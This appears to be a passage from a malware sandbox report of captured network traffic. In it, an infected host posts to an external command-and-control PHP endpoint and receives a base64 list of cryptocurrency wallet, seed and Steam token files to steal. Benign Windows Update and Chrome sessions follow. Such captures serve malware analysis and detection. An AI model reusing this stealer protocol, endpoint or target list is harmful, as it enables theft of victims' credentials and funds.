0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"wallets------DGHIECGCBKFHIEBGHDBK--
Oct 30, 2024 02:27:40.284241915 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 02:27:40.286815882 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"files------HIIIECAAKECFHIECBKJD--
Oct 30, 2024 02:27:40.574491024 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:40.585078001 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="file"------IDBGHDGHCGHCAAKFIIEC--
Oct 30, 2024 02:27:41.364769936 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:41.389950991 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"ybncbhylepme------CAAEBKEGHJKEBFHJDBFC--
Oct 30, 2024 02:27:41.679011106 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 02:27:41.680135965 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 64 37 39 36 36 32 61 39 64 39 30 38 36 32 31 33 34 38 37 64 64 30 63 64 63 37 34 61 62 33 33 65 34 63 63 63 37 34 31 33 64 32 64 63 36 63 66 37 39 39 32 35 39 32 34 36 35 37 61 35 65 61 33 32 61 32 64 61 38 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"cd79662a9d9086213487dd0cdc74ab33e4ccc7413d2dc6cf79925924657a5ea32a2da82e------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JDAKJDAAFBKFHIEBFCFB--
Oct 30, 2024 02:27:42.470485926 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wBAut13mY1yHMf6&MD=RVWnae4h HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 01:27:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 42d768c7-2245-4050-92cf-0518aabe5080 MS-RequestId: 7c4b5767-68af-4f8d-b0ee-cb089127681b MS-CV: NiKaNu6JG0moVZNH.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 01:27:17 GMT Connection: close Content-Length: 24490
2024-10-30 01:27:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 01:27:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	142.250.184.196	443	7196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:19 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 01:27:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:27:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-3BF2J0KalGiIhKW_VpdnhA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 01:27:19 UTC	112	IN	Data Raw: 33 31 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 69 74 63 6f 69 6e 20 63 72 79 70 74 6f 22 2c 22 70 68 61 6e 74 6f 6d 20 69 73 6c 61 6e 64 20 74 6f 75 72 20 6b 69 6e 67 20 67 69 7a 7a 61 72 64 22 2c 22 64 65 6e 76 65 72 20 73 6e 6f 77 20 66 6f 72 65 63 61 73 74 22 2c 22 75 6e 69 6f 6e 20 67 6f 61 6c 6b 65 65 70 65 72 20 68 6f 6c 64 Data Ascii: 31a)]}'["",["bitcoin crypto","phantom island tour king gizzard","denver snow forecast","union goalkeeper hold
2024-10-30 01:27:19 UTC	689	IN	Data Raw: 65 6e 20 74 72 65 6e 74 22 2c 22 6c 6f 6f 74 20 6b 65 79 73 20 62 6c 61 63 6b 20 6f 70 73 20 36 20 7a 6f 6d 62 69 65 73 22 2c 22 67 72 69 7a 7a 6c 79 20 62 65 61 72 20 33 39 39 20 64 65 61 74 68 22 2c 22 39 31 31 20 6c 6f 6e 65 20 73 74 61 72 20 73 65 61 73 6f 6e 20 35 20 65 70 69 73 6f 64 65 20 36 22 2c 22 70 6f 77 65 72 62 61 6c 6c 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 20 6e 75 6d 62 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 Data Ascii: en trent","loot keys black ops 6 zombies","grizzly bear 399 death","911 lone star season 5 episode 6","powerball jackpot lottery numbers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmR
2024-10-30 01:27:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	142.250.184.196	443	7196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:27:19 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 01:27:19 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 01:27:19 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 01:27:19 UTC	336	IN	Data Raw: 31 65 38 37 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e87)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 01:27:19 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 